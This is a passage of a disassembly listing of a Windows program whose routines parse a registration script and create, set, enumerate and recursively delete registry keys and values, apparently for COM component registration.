; ---------------------------------------------------------------------------


loc_402BE6:				; CODE XREF: sub_402370+7EDj
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jnz	short loc_402C0B
		mov	edx, [ebp+arg_4]
		push	20019h		; samDesired
		push	ebx		; lpSubKey
		push	edx		; hKey
		lea	ecx, [ebp+cchValueName]
		call	sub_402E50
		test	eax, eax
		jz	short loc_402C0B
		mov	edi, 1
		mov	[ebp+arg_C], edi


loc_402C0B:				; CODE XREF: sub_402370+87Bj
					; sub_402370+891j
		mov	eax, [ebp+lpString1]
		test	eax, eax
		jnz	short loc_402C21
		mov	eax, 104h
		call	sub_40AF70
		mov	eax, esp
		mov	[ebp+lpString1], eax


loc_402C21:				; CODE XREF: sub_402370+8A0j
		push	104h		; iMaxLength
		push	ebx		; lpString2
		push	eax		; lpString1
		call	ds:lstrcpynA	; lstrcpynA
		test	edi, edi
		jnz	short loc_402C54
		mov	eax, [ebp+cchValueName]
		mov	ecx, esi
		push	eax		; hKey
		call	sub_403400
		test	eax, eax
		jnz	short loc_402C54
		mov	ecx, [ebp+cchValueName]
		push	ecx		; cchValueName
		mov	ecx, esi
		call	sub_403450
		test	eax, eax
		jz	loc_402D08


loc_402C54:				; CODE XREF: sub_402370+8C0j
					; sub_402370+8CFj
		push	ebx
		mov	ecx, esi
		call	sub_402020
		mov	edi, eax
		test	edi, edi
		jl	loc_402D6A
		push	ebx
		mov	ecx, esi
		call	sub_403500
		mov	edi, eax
		test	edi, edi
		jl	loc_402D6A
		cmp	byte ptr [ebx],	7Bh
		jnz	short loc_402CAB
		mov	edx, [ebp+arg_C]
		mov	eax, [ebp+cchValueName]
		push	edx		; int
		push	0		; int
		push	eax		; int
		push	ebx		; lpSubKey
		mov	ecx, esi
		call	sub_402370
		mov	edi, eax
		test	edi, edi
		jl	loc_402D6A
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_402CB9
		mov	ecx, [ebp+var_20]
		mov	[ebp+arg_C], ecx
		jmp	loc_402D3F
; ---------------------------------------------------------------------------


loc_402CAB:				; CODE XREF: sub_402370+90Bj
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jnz	loc_4027D7
		mov	ebx, [ebp+lpSubKey]


loc_402CB9:				; CODE XREF: sub_402370+92Ej
		mov	edx, [ebp+cchValueName]
		mov	ecx, esi
		push	edx		; hKey
		call	sub_403400
		test	eax, eax
		jz	short loc_402D08
		mov	edi, offset off_40F030


loc_402CCD:				; CODE XREF: sub_402370+977j
		mov	eax, [edi]
		mov	ecx, [ebp+lpString1]
		push	eax		; lpString2
		push	ecx		; lpString1
		call	ds:lstrcmpiA	; lstrcmpiA
		test	eax, eax
		jz	short loc_402CF5
		add	edi, 4
		cmp	edi, offset aTypelib ; "TYPELIB"
		jl	short loc_402CCD
		mov	edx, [ebp+lpString1]
		lea	ecx, [ebp+cchValueName]
		push	edx		; lpSubKey
		call	sub_402EA0


loc_402CF5:				; CODE XREF: sub_402370+96Cj
		push	ebx
		mov	ecx, esi
		call	sub_402020
		mov	edi, eax
		test	edi, edi
		jl	short loc_402D6A
		jmp	loc_4027D7
; ---------------------------------------------------------------------------


loc_402D08:				; CODE XREF: sub_402370+8DEj
					; sub_402370+956j
		lea	ecx, [ebp+cchValueName]
		call	sub_402DC0
		test	eax, eax
		jnz	loc_402D9D
		mov	eax, [ebp+var_18]
		test	eax, eax
		jz	short loc_402D3F
		mov	ecx, [ebp+lpString1]
		mov	eax, [ebp+arg_4]
		push	ecx		; lpSubKey
		push	eax		; hKey
		mov	[ebp+var_8], eax
		call	ds:RegDeleteKeyA	; RegDeleteKeyA
		lea	ecx, [ebp+var_8]
		mov	[ebp+var_8], 0
		call	sub_402DC0


loc_402D3F:				; CODE XREF: sub_402370+936j
					; sub_402370+9ADj
		push	ebx
		mov	ecx, esi
		call	sub_402020
		mov	edi, eax
		test	edi, edi
		jl	short loc_402D6A
		push	ebx
		mov	ecx, esi
		call	sub_403500
		mov	edi, eax
		test	edi, edi
		jl	short loc_402D6A
		jmp	loc_4027D7
; ---------------------------------------------------------------------------


loc_402D60:				; CODE XREF: sub_402370+3E8j
					; sub_402370+405j ...
		mov	edi, eax


loc_402D62:				; CODE XREF: sub_402370+A1Cj
		lea	ecx, [ebp+var_8]


loc_402D65:				; CODE XREF: sub_402370+74Aj
		call	sub_402DC0


loc_402D6A:				; CODE XREF: sub_402370+F8j
					; sub_402370+44Fj ...
		lea	ecx, [ebp+cchValueName]
		call	sub_402DC0
		mov	eax, edi
		lea	esp, [ebp-2238h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_402D83:				; CODE XREF: sub_402370+788j
					; sub_402370+7A5j ...
		mov	edi, eax
		jmp	short loc_402D6A
; ---------------------------------------------------------------------------


loc_402D87:				; CODE XREF: sub_402370+31Bj
					; sub_402370+368j ...
		mov	edi, 80020009h
		jmp	short loc_402D62
; ---------------------------------------------------------------------------


loc_402D8E:				; CODE XREF: sub_402370+144j
					; sub_402370+191j ...
		mov	edi, 80020009h
		jmp	short loc_402D6A
; ---------------------------------------------------------------------------


loc_402D95:				; CODE XREF: sub_402370+234j
		lea	ecx, [ebp+var_8]
		call	sub_402DC0


loc_402D9D:				; CODE XREF: sub_402370+35j
					; sub_402370+82j ...
		lea	ecx, [ebp+cchValueName]
		call	sub_402DC0
		lea	esp, [ebp-2238h]
		mov	eax, 80020009h
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_402370	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402DC0	proc near		; CODE XREF: sub_402370+2E2p
					; sub_402370+2F5p ...
		push	esi
		mov	esi, ecx
		xor	eax, eax
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_402DD8
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		mov	dword ptr [esi], 0


loc_402DD8:				; CODE XREF: sub_402DC0+9j
		pop	esi
		retn
sub_402DC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_402DE0(HKEY	hKey,LPCSTR lpSubKey,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES dwDisposition,int)

sub_402DE0	proc near		; CODE XREF: sub_402370+82Ep

phkResult	= dword	ptr -4
hKey		= dword	ptr  4
lpSubKey	= dword	ptr  8
lpClass		= dword	ptr  0Ch
dwOptions	= dword	ptr  10h
samDesired	= dword	ptr  14h
dwDisposition	= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	ecx
		mov	edx, [esp+4+dwDisposition]
		push	esi
		mov	esi, ecx
		lea	eax, [esp+8+dwDisposition]
		lea	ecx, [esp+8+phkResult]
		push	eax		; lpdwDisposition
		mov	eax, [esp+0Ch+samDesired]
		push	ecx		; phkResult
		mov	ecx, [esp+10h+dwOptions]
		push	edx		; lpSecurityAttributes
		mov	edx, [esp+14h+lpClass]
		push	eax		; samDesired
		mov	eax, [esp+18h+lpSubKey]
		push	ecx		; dwOptions
		mov	ecx, [esp+1Ch+hKey]
		push	edx		; lpClass
		push	0		; Reserved
		push	eax		; lpSubKey
		push	ecx		; hKey
		mov	[esp+2Ch+phkResult], 0
		call	ds:RegCreateKeyExA	; RegCreateKeyExA
		mov	ecx, [esp+8+arg_18]
		test	ecx, ecx
		jz	short loc_402E2A
		mov	edx, [esp+8+dwDisposition]
		mov	[ecx], edx


loc_402E2A:				; CODE XREF: sub_402DE0+42j
		test	eax, eax
		jnz	short loc_402E47
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_402E41
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		mov	dword ptr [esi], 0


loc_402E41:				; CODE XREF: sub_402DE0+52j
		mov	ecx, [esp+8+phkResult]
		mov	[esi], ecx


loc_402E47:				; CODE XREF: sub_402DE0+4Cj
		pop	esi
		pop	ecx
		retn	1Ch
sub_402DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_402E50(HKEY	hKey,LPCSTR lpSubKey,REGSAM samDesired)

sub_402E50	proc near		; CODE XREF: sub_402370+273p
					; sub_402370+800p ...

phkResult	= dword	ptr -4
hKey		= dword	ptr  4
lpSubKey	= dword	ptr  8
samDesired	= dword	ptr  0Ch

		push	ecx
		mov	edx, [esp+4+lpSubKey]
		push	esi
		mov	esi, ecx
		lea	eax, [esp+8+phkResult]
		mov	ecx, [esp+8+samDesired]
		push	eax		; phkResult
		mov	eax, [esp+0Ch+hKey]
		push	ecx		; samDesired
		push	0		; ulOptions
		push	edx		; lpSubKey
		push	eax		; hKey
		mov	[esp+1Ch+phkResult], 0
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_402E95
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_402E8F
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		mov	dword ptr [esi], 0


loc_402E8F:				; CODE XREF: sub_402E50+30j
		mov	ecx, [esp+8+phkResult]
		mov	[esi], ecx


loc_402E95:				; CODE XREF: sub_402E50+2Aj
		pop	esi
		pop	ecx
		retn	0Ch
sub_402E50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_402EA0(LPCSTR lpSubKey)

sub_402EA0	proc near		; CODE XREF: sub_402370+2B1p
					; sub_402370+980p ...

hKey		= dword	ptr -118h
cchName		= dword	ptr -114h
phkResult	= dword	ptr -110h
var_10C		= dword	ptr -10Ch
ftLastWriteTime	= _FILETIME ptr	-108h
SubKey		= byte ptr -100h
lpSubKey	= dword	ptr  4

		sub	esp, 118h
		mov	edx, [esp+118h+lpSubKey]
		push	esi
		push	edi
		mov	edi, ecx
		lea	ecx, [esp+120h+phkResult]
		mov	[esp+120h+var_10C], edi
		mov	eax, [edi]
		push	ecx		; phkResult
		push	2001Fh		; samDesired
		push	0		; ulOptions
		push	edx		; lpSubKey
		push	eax		; hKey
		mov	[esp+134h+hKey], 0
		mov	[esp+134h+phkResult], 0
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_402F00
		mov	ecx, [esp+120h+hKey]
		test	ecx, ecx
		jz	short loc_402EF0
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_402EF0:				; CODE XREF: sub_402EA0+47j
		mov	ecx, [esp+120h+phkResult]
		mov	esi, eax
		test	eax, eax
		mov	[esp+120h+hKey], ecx
		jz	short loc_402F20
		jmp	short loc_402F04
; ---------------------------------------------------------------------------


loc_402F00:				; CODE XREF: sub_402EA0+3Fj
		mov	ecx, [esp+120h+hKey]


loc_402F04:				; CODE XREF: sub_402EA0+5Ej
		test	ecx, ecx
		jz	loc_402FC3
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 118h
		retn	4
; ---------------------------------------------------------------------------


loc_402F20:				; CODE XREF: sub_402EA0+5Cj
		lea	eax, [esp+120h+ftLastWriteTime]
		mov	esi, ds:RegEnumKeyExA
		push	eax		; lpftLastWriteTime
		push	0		; lpcchClass
		push	0		; lpClass
		lea	edx, [esp+12Ch+cchName]
		push	0		; lpReserved
		lea	eax, [esp+130h+SubKey]
		push	edx		; lpcchName
		push	eax		; lpName
		push	0		; dwIndex
		push	ecx		; hKey
		mov	[esp+140h+cchName], 100h
		call	esi ; RegEnumKeyExA
		test	eax, eax
		jnz	short loc_402F8A


loc_402F4C:				; CODE XREF: sub_402EA0+E4j
		lea	ecx, [esp+120h+SubKey]
		push	ecx		; lpSubKey
		lea	ecx, [esp+124h+hKey]
		call	sub_402EA0
		mov	edi, eax
		test	edi, edi
		jnz	short loc_402FD0
		lea	edx, [esp+120h+ftLastWriteTime]
		lea	ecx, [esp+120h+SubKey]
		push	edx		; lpftLastWriteTime
		mov	edx, [esp+124h+hKey]
		push	eax		; lpcchClass
		push	eax		; lpClass
		push	eax		; lpReserved
		lea	eax, [esp+130h+cchName]
		push	eax		; lpcchName
		push	ecx		; lpName
		push	edi		; dwIndex
		push	edx		; hKey
		mov	[esp+140h+cchName], 100h
		call	esi ; RegEnumKeyExA
		test	eax, eax
		jz	short loc_402F4C
		mov	edi, [esp+120h+var_10C]


loc_402F8A:				; CODE XREF: sub_402EA0+AAj
		mov	eax, [esp+120h+hKey]
		test	eax, eax
		jz	short loc_402FA1
		push	eax		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		mov	[esp+120h+hKey], 0


loc_402FA1:				; CODE XREF: sub_402EA0+F0j
		mov	eax, [esp+120h+lpSubKey]
		mov	ecx, [edi]
		push	eax		; lpSubKey
		push	ecx		; hKey
		call	ds:RegDeleteKeyA	; RegDeleteKeyA
		mov	esi, eax
		mov	eax, [esp+120h+hKey]
		test	eax, eax
		jz	short loc_402FC3
		push	eax		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_402FC3:				; CODE XREF: sub_402EA0+66j
					; sub_402EA0+11Aj
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 118h
		retn	4
; ---------------------------------------------------------------------------


loc_402FD0:				; CODE XREF: sub_402EA0+BEj
		mov	eax, [esp+120h+hKey]
		test	eax, eax
		jz	short loc_402FDF
		push	eax		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_402FDF:				; CODE XREF: sub_402EA0+136j
		mov	eax, edi
		pop	edi
		pop	esi
		add	esp, 118h
		retn	4
sub_402EA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_402FF0(int,LPCSTR lpValueName,int)

sub_402FF0	proc near		; CODE XREF: sub_402370+73Bp
					; sub_402370+862p

String1		= byte ptr -2010h
Data		= byte ptr -1010h
var_10		= dword	ptr -10h
pulOut		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
lpValueName	= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_40AF70
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [ebp+String1]
		mov	eax, [esi]
		mov	cl, [eax]
		push	ecx
		mov	ecx, esi
		call	sub_401F80
		test	eax, eax
		jz	short loc_403031


loc_403018:				; CODE XREF: sub_402FF0+3Fj
		mov	edx, [esi]
		push	edx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax
		mov	al, [eax]
		push	eax
		mov	ecx, esi
		call	sub_401F80
		test	eax, eax
		jnz	short loc_403018


loc_403031:				; CODE XREF: sub_402FF0+26j
		mov	ecx, [esi]
		mov	al, [ecx]
		test	al, al
		jz	loc_40312B
		cmp	al, 27h
		jnz	loc_40313F
		push	ecx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4030A0


loc_403054:				; CODE XREF: sub_402FF0+AEj
		mov	ecx, esi
		call	sub_401D20
		test	eax, eax
		jnz	short loc_4030A0
		mov	eax, [esi]
		cmp	byte ptr [eax],	27h
		jnz	short loc_40306F
		push	eax		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax


loc_40306F:				; CODE XREF: sub_402FF0+74j
		mov	ebx, [esi]
		push	ebx		; lpsz
		call	ds:CharNextA	; CharNextA
		lea	ecx, [edi+2]
		lea	edx, [ebp+Data]
		cmp	ecx, edx
		mov	[esi], eax
		jnb	loc_40312B
		cmp	ebx, eax
		jnb	short loc_40309B
		mov	ecx, ebx


loc_403091:				; CODE XREF: sub_402FF0+A9j
		mov	dl, [ecx]
		inc	ecx
		mov	[edi], dl
		inc	edi
		cmp	ecx, eax
		jb	short loc_403091


loc_40309B:				; CODE XREF: sub_402FF0+9Dj
		cmp	byte ptr [eax],	0
		jnz	short loc_403054


loc_4030A0:				; CODE XREF: sub_402FF0+62j
					; sub_402FF0+6Dj
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	loc_40312B
		push	eax		; lpsz
		mov	byte ptr [edi],	0
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax


loc_4030B7:				; CODE XREF: sub_402FF0+17Fj
		mov	al, byte_40FC60
		test	al, 1
		jnz	short loc_403104
		mov	ecx, ds:off_40D1FC
		mov	edx, ds:off_40D200
		or	al, 1
		mov	word_40FBB4, 8
		mov	byte_40FC60, al
		mov	eax, ds:off_40D1F8
		mov	dword_40FBB0, eax
		mov	dword_40FBB8, ecx
		mov	word_40FBBC, 13h
		mov	dword_40FBC0, edx
		mov	word_40FBC4, 11h


loc_403104:				; CODE XREF: sub_402FF0+CEj
		xor	ebx, ebx
		mov	edi, offset dword_40FBB0


loc_40310B:				; CODE XREF: sub_402FF0+139j
		mov	eax, [edi]
		lea	ecx, [ebp+String1]
		push	eax		; lpString2
		push	ecx		; lpString1
		call	ds:lstrcmpiA	; lstrcmpiA
		test	eax, eax
		jz	short loc_403174
		add	edi, 8
		inc	ebx
		cmp	edi, offset dword_40FBC8
		jl	short loc_40310B


loc_40312B:				; CODE XREF: sub_402FF0+47j
					; sub_402FF0+95j ...
		mov	eax, 80020009h
		lea	esp, [ebp-201Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40313F:				; CODE XREF: sub_402FF0+4Fj
					; sub_402FF0+17Aj
		push	eax
		mov	ecx, esi
		call	sub_401F80
		test	eax, eax
		jnz	short loc_40316C
		mov	ebx, [esi]
		push	ebx		; lpsz
		call	ds:CharNextA	; CharNextA
		cmp	ebx, eax
		mov	[esi], eax
		jnb	short loc_403166
		mov	ecx, ebx


loc_40315C:				; CODE XREF: sub_402FF0+174j
		mov	dl, [ecx]
		inc	ecx
		mov	[edi], dl
		inc	edi
		cmp	ecx, eax
		jb	short loc_40315C


loc_403166:				; CODE XREF: sub_402FF0+168j
		mov	al, [eax]
		test	al, al
		jnz	short loc_40313F


loc_40316C:				; CODE XREF: sub_402FF0+159j
		mov	byte ptr [edi],	0
		jmp	loc_4030B7
; ---------------------------------------------------------------------------


loc_403174:				; CODE XREF: sub_402FF0+12Dj
		mov	di, word_40FBB4[ebx*8]


loc_40317C:				; CODE XREF: sub_402FF0+1B1j
		mov	eax, [esi]
		movsx	ecx, byte ptr [eax]
		add	ecx, 0FFFFFFF7h
		cmp	ecx, 17h	; switch 24 cases
		ja	short loc_4031A3 ; default
					; jumptable 00403191 cases 2,3,5-22
		xor	edx, edx
		mov	dl, ds:byte_403394[ecx]
		jmp	ds:off_40338C[edx*4] ; switch jump


loc_403198:				; DATA XREF: .text:off_40338Co
		push	eax		; jumptable 00403191 cases 0,1,4,23
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax
		jmp	short loc_40317C
; ---------------------------------------------------------------------------


loc_4031A3:				; CODE XREF: sub_402FF0+197j
					; sub_402FF0+1A1j
					; DATA XREF: ...
		lea	eax, [ebp+Data]	; default
					; jumptable 00403191 cases 2,3,5-22
		mov	ecx, esi
		push	eax
		call	sub_402020
		test	eax, eax
		jl	loc_40337C
		and	edi, 0FFFFh
		mov	eax, edi
		sub	eax, 8
		jz	loc_40333D
		sub	eax, 9
		jz	short loc_40324D
		sub	eax, 2
		jnz	loc_403367
		lea	ecx, [ebp+Data]
		test	ecx, ecx
		jnz	short loc_4031E6
		xor	ebx, ebx
		jmp	short loc_40321F
; ---------------------------------------------------------------------------


loc_4031E6:				; CODE XREF: sub_402FF0+1F0j
		lea	edx, [ebp+Data]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	edi, eax
		inc	edi
		lea	eax, [edi+edi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	edi		; cchWideChar
		push	ebx		; lpWideCharStr
		lea	eax, [ebp+Data]
		push	0FFFFFFFFh	; cbMultiByte
		push	eax		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar


loc_40321F:				; CODE XREF: sub_402FF0+1F4j
		lea	ecx, [ebp+pulOut]
		push	ecx		; pulOut
		push	0		; dwFlags
		push	0		; lcid
		push	ebx		; strIn
		call	ds:VarUI4FromStr
		mov	edx, [ebp+pulOut]
		mov	ecx, [ebp+lpValueName]
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		mov	eax, [edx]
		push	4
		push	0
		push	ecx
		push	eax
		jmp	loc_403361
; ---------------------------------------------------------------------------


loc_40324D:				; CODE XREF: sub_402FF0+1DDj
		lea	ecx, [ebp+Data]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		test	al, 1
		mov	[ebp+var_4], eax
		jz	short loc_403275
		mov	eax, 80004005h
		lea	esp, [ebp-201Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_403275:				; CODE XREF: sub_402FF0+26Fj
		cdq
		sub	eax, edx
		mov	ebx, eax
		sar	ebx, 1
		mov	eax, ebx
		mov	[ebp+var_10], ebx
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ecx, ebx
		mov	edi, esp
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[ebp+var_8], edi
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	eax, esp
		test	eax, eax
		jnz	short loc_4032BC
		mov	eax, 80004005h
		lea	esp, [ebp-201Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4032BC:				; CODE XREF: sub_402FF0+2B6j
		mov	eax, [ebp+var_4]
		xor	edi, edi
		test	eax, eax
		jle	short loc_403328


loc_4032C5:				; CODE XREF: sub_402FF0+333j
		mov	al, [ebp+edi+Data]
		movsx	ecx, al
		add	ecx, 0FFFFFFD0h
		cmp	ecx, 36h	; switch 55 cases
		ja	short loc_4032F8 ; default
					; jumptable 004032DF cases 10-16,23-48
		xor	edx, edx
		mov	dl, ds:byte_4033BC[ecx]
		jmp	ds:off_4033AC[edx*4] ; switch jump


loc_4032E6:				; DATA XREF: .text:off_4033ACo
		sub	al, 30h		; jumptable 004032DF cases 0-9
		mov	bl, al
		jmp	short loc_4032FA
; ---------------------------------------------------------------------------


loc_4032EC:				; CODE XREF: sub_402FF0+2EFj
					; DATA XREF: .text:off_4033ACo
		sub	al, 37h		; jumptable 004032DF cases 17-22
		mov	bl, al
		jmp	short loc_4032FA
; ---------------------------------------------------------------------------


loc_4032F2:				; CODE XREF: sub_402FF0+2EFj
					; DATA XREF: .text:off_4033ACo
		sub	al, 57h		; jumptable 004032DF cases 49-54
		mov	bl, al
		jmp	short loc_4032FA
; ---------------------------------------------------------------------------


loc_4032F8:				; CODE XREF: sub_402FF0+2E5j
					; sub_402FF0+2EFj
					; DATA XREF: ...
		xor	bl, bl		; default
					; jumptable 004032DF cases 10-16,23-48


loc_4032FA:				; CODE XREF: sub_402FF0+2FAj
					; sub_402FF0+300j ...
		mov	ecx, [ebp+var_8]
		mov	eax, edi
		cdq
		sub	eax, edx
		mov	edx, edi
		sar	eax, 1
		and	edx, 1
		add	eax, ecx
		shl	edx, 2
		mov	ecx, 4
		sub	ecx, edx
		mov	dl, [eax]
		shl	bl, cl
		or	dl, bl
		inc	edi
		mov	[eax], dl
		mov	eax, [ebp+var_4]
		cmp	edi, eax
		jl	short loc_4032C5
		mov	ebx, [ebp+var_10]


loc_403328:				; CODE XREF: sub_402FF0+2D3j
		mov	ecx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+lpValueName]
		push	ebx
		mov	eax, [eax]
		push	ecx
		push	3
		push	0
		push	edx
		push	eax
		jmp	short loc_403361
; ---------------------------------------------------------------------------


loc_40333D:				; CODE XREF: sub_402FF0+1D4j
		lea	eax, [ebp+Data]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	edx, [ebp+lpValueName]
		inc	eax
		push	eax		; cbData
		mov	eax, [ebp+arg_0]
		lea	ecx, [ebp+Data]
		push	ecx		; lpData
		mov	ecx, [eax]
		push	1		; dwType
		push	0		; Reserved
		push	edx		; lpValueName
		push	ecx		; hKey


loc_403361:				; CODE XREF: sub_402FF0+258j
					; sub_402FF0+34Bj
		call	ds:RegSetValueExA	; RegSetValueExA


loc_403367:				; CODE XREF: sub_402FF0+1E2j
		mov	edx, [ebp+arg_8]
		mov	ecx, esi
		push	edx
		call	sub_402020
		xor	ecx, ecx
		test	eax, eax
		setnl	cl
		dec	ecx
		and	eax, ecx


loc_40337C:				; CODE XREF: sub_402FF0+1C3j
		lea	esp, [ebp-201Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_402FF0	endp

; ---------------------------------------------------------------------------
		align 4
off_40338C	dd offset loc_403198	; DATA XREF: sub_402FF0+1A1r
		dd offset loc_4031A3	; jump table for switch	statement
byte_403394	db	0,     0,     1,     1 ; DATA XREF: sub_402FF0+19Br
		db	0,     1,     1,     1 ; indirect table	for switch statement
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     0
off_4033AC	dd offset loc_4032E6, offset loc_4032EC, offset	loc_4032F2
					; DATA XREF: sub_402FF0+2EFr
		dd offset loc_4032F8	; jump table for switch	statement
byte_4033BC	db	0,     0,     0,     0 ; DATA XREF: sub_402FF0+2E9r
		db	0,     0,     0,     0 ; indirect table	for switch statement
		db	0,     0,     3,     3
		db	3,     3,     3,     3
		db	3,     1,     1,     1
		db	1,     1,     1,     3
		db	3,     3,     3,     3
		db	3,     3,     3,     3
		db	3,     3,     3,     3
		db	3,     3,     3,     3
		db	3,     3,     3,     3
		db	3,     3,     3,     3
		db	3,     2,     2,     2
		db	2,     2,     2
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_403400(HKEY	hKey)

sub_403400	proc near		; CODE XREF: sub_402370+8C8p
					; sub_402370+94Fp

cSubKeys	= dword	ptr -4
hKey		= dword	ptr  4

		push	ecx
		push	0		; lpftLastWriteTime
		push	0		; lpcbSecurityDescriptor
		mov	ecx, [esp+0Ch+hKey]
		push	0		; lpcbMaxValueLen
		push	0		; lpcbMaxValueNameLen
		push	0		; lpcValues
		push	0		; lpcbMaxClassLen
		lea	eax, [esp+1Ch+cSubKeys]
		push	0		; lpcbMaxSubKeyLen
		push	eax		; lpcSubKeys
		push	0		; lpReserved
		push	0		; lpcchClass
		push	0		; lpClass
		push	ecx		; hKey
		mov	[esp+34h+cSubKeys], 0
		call	ds:RegQueryInfoKeyA	; RegQueryInfoKeyA
		test	eax, eax
		jge	short loc_403437
		xor	eax, eax
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------


loc_403437:				; CODE XREF: sub_403400+2Fj
		mov	eax, [esp+4+cSubKeys]
		xor	edx, edx
		cmp	edx, eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		retn	4
sub_403400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_403450(DWORD cchValueName)

sub_403450	proc near		; CODE XREF: sub_402370+8D7p

cchValueName	= dword	ptr  4
ValueName	= byte ptr  8
hKey		= dword	ptr  100Ch

		mov	eax, 1008h
		call	sub_40AF70
		push	esi
		push	0		; lpftLastWriteTime
		push	0		; lpcbSecurityDescriptor
		mov	esi, [esp+0Ch+hKey]
		push	0		; lpcbMaxValueLen
		lea	eax, [esp+10h]
		push	0		; lpcbMaxValueNameLen
		push	eax		; lpcValues
		push	0		; lpcbMaxClassLen
		push	0		; lpcbMaxSubKeyLen
		push	0		; lpcSubKeys
		push	0		; lpReserved
		push	0		; lpcchClass
		push	0		; lpClass
		push	esi		; hKey
		mov	dword ptr [esp+34h], 0
		call	ds:RegQueryInfoKeyA	; RegQueryInfoKeyA
		test	eax, eax
		jz	short loc_40349A


loc_40348E:				; CODE XREF: sub_403450+78j
					; sub_403450+80j
		xor	eax, eax
		pop	esi
		add	esp, 1008h
		retn	4
; ---------------------------------------------------------------------------


loc_40349A:				; CODE XREF: sub_403450+3Cj
		mov	eax, [esp+4]
		cmp	eax, 1
		jnz	short loc_4034E1
		push	0		; lpcbData
		push	0		; lpData
		push	0		; lpType
		lea	ecx, [esp+10h+cchValueName]
		push	0		; lpReserved
		lea	edx, [esp+14h+ValueName]
		push	ecx		; lpcchValueName
		push	edx		; lpValueName
		push	0		; dwIndex
		push	esi		; hKey
		mov	[esp+24h+cchValueName],	1000h
		call	ds:RegEnumValueA	; RegEnumValueA
		test	eax, eax
		jnz	short loc_40348E
		mov	al, [esp+4+ValueName]
		test	al, al
		jz	short loc_40348E
		mov	eax, 1
		pop	esi
		add	esp, 1008h
		retn	4
; ---------------------------------------------------------------------------


loc_4034E1:				; CODE XREF: sub_403450+51j
		xor	ecx, ecx
		pop	esi
		cmp	ecx, eax
		sbb	eax, eax
		neg	eax
		add	esp, 1008h
		retn	4
sub_403450	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403500	proc near		; CODE XREF: sub_402370+8F9p
					; sub_402370+9E0p

arg_1000	= dword	ptr  1004h

		mov	eax, 1000h
		call	sub_40AF70
